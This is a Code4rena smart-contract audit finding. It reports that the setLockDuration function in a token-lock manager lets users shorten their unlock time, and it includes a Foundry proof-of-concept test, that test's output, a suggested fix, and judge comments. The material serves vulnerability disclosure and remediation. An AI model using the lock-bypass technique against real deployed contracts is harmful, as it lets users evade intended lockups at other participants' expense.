Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 100/126
Findings: 1
Award: $0.01
š Selected for report: 0
š Solo Findings: 0
š Selected for report: SpicyMeatball
Also found by: 0rpse, 0xMosh, 0xblack_bird, 0xdice91, 0xhacksmithh, 0xleadwizard, 0xmystery, Audinarey, AvantGard, Bigsam, Dots, EPSec, Eeyore, Janio, Limbooo, LinKenji, Mahmud, MrPotatoMagic, Myd, Oxsadeeq, Sabit, SovaSlava, Stefanov, Tychai0s, Utsav, Varun_05, Walter, adam-idarrha, ahmedaghadi, araj, aslanbek, ayden, bigtone, c0pp3rscr3w3r, carrotsmuggler, crypticdefense, dhank, fyamf, gajiknownnothing, gavfu, itsabinashb, jasonxiale, joaovwfreire, ke1caM, leegh, merlinboii, mitko1111, n4nika, pfapostol, prapandey031, rouhsamad, sandy, snakeeaterr, stakog, steadyman, swizz, tedox, th3l1ghtd3m0n, trachev, turvy_fuzz, xyz, yashgoel72, zhaojohnson
0.014 USDC - $0.01
The setLockDuration
function is designed to set the lock duration in seconds for which tokens are locked. However, there is a critical flaw in how the new unlock time is calculated and set. The current implementation checks if the new unlock time is less than the current unlock time and reverts in that case, but it incorrectly updates the unlock time by adding the new duration to the last lock time, potentially setting an earlier unlock time than intended.
Vulnerable Code
lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration);
This can inadvertently reduce the unlock time if lastLockTime + _duration is less than the existing unlockTime. This can be exploited by a user to prematurely unlock their tokens, bypassing the intended lock duration. For instance, users can lock their tokens, perform actions like revealing NFTs, and then unlock their tokens before the actual unlock time, compromising the security and integrity of the locking mechanism.
This vulnerability can be exploited as follows:
function test_setLockDuration() public { uint256 lockAmount = 100e18; deployContracts(); // register me amp.register(MunchablesCommonLib.Realm(3), address(0)); // lock tokens lm.lock{value: lockAmount}(address(0), lockAmount); lm.setLockDuration(90 days); ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm .getLocked(address(this)); uint256 actualUnlockTime = lockedTokens[0].lockedToken.unlockTime; // Warp time forward by 45 days vm.warp(block.timestamp + 45 days); // Set a new lock duration of 45 days lm.setLockDuration(45 days); lockedTokens = lm .getLocked(address(this)); uint256 modifiedUnlockTime = lockedTokens[0].lockedToken.unlockTime; console.log("Initial UnlockTime Set :" , actualUnlockTime); console.log("Modified UnlockTime Set :" , modifiedUnlockTime); // Check that the new unlock time is less than initial unlock time assertEq(modifiedUnlockTime < actualUnlockTime , true); }
Foundry Test Result
āā [0] console::log("Initial UnlockTime Set :", 7776001 [7.776e6]) [staticcall] ā āā ā [Stop] āā [0] console::log("Modified UnlockTime Set :", 3888001 [3.888e6]) [staticcall] ā āā ā [Stop] āā [0] VM::assertEq(true, true) [staticcall] ā āā ā [Return] āā ā [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 128.08ms (107.24ms CPU time)
Modify the setLockDuration function to ensure that the unlock time is always set based on the current block timestamp and the new duration, rather than the last lock time. Here is the corrected implementation
lockedTokens[msg.sender][tokenContract].unlockTime = block.timestamp + uint32(_duration); // Ensure unlock time is based on current block timestamp
Timing
#0 - c4-judge
2024-06-05T12:52:13Z
alex-ppg marked the issue as satisfactory
#1 - c4-judge
2024-06-05T12:54:34Z
alex-ppg changed the severity to 3 (High Risk)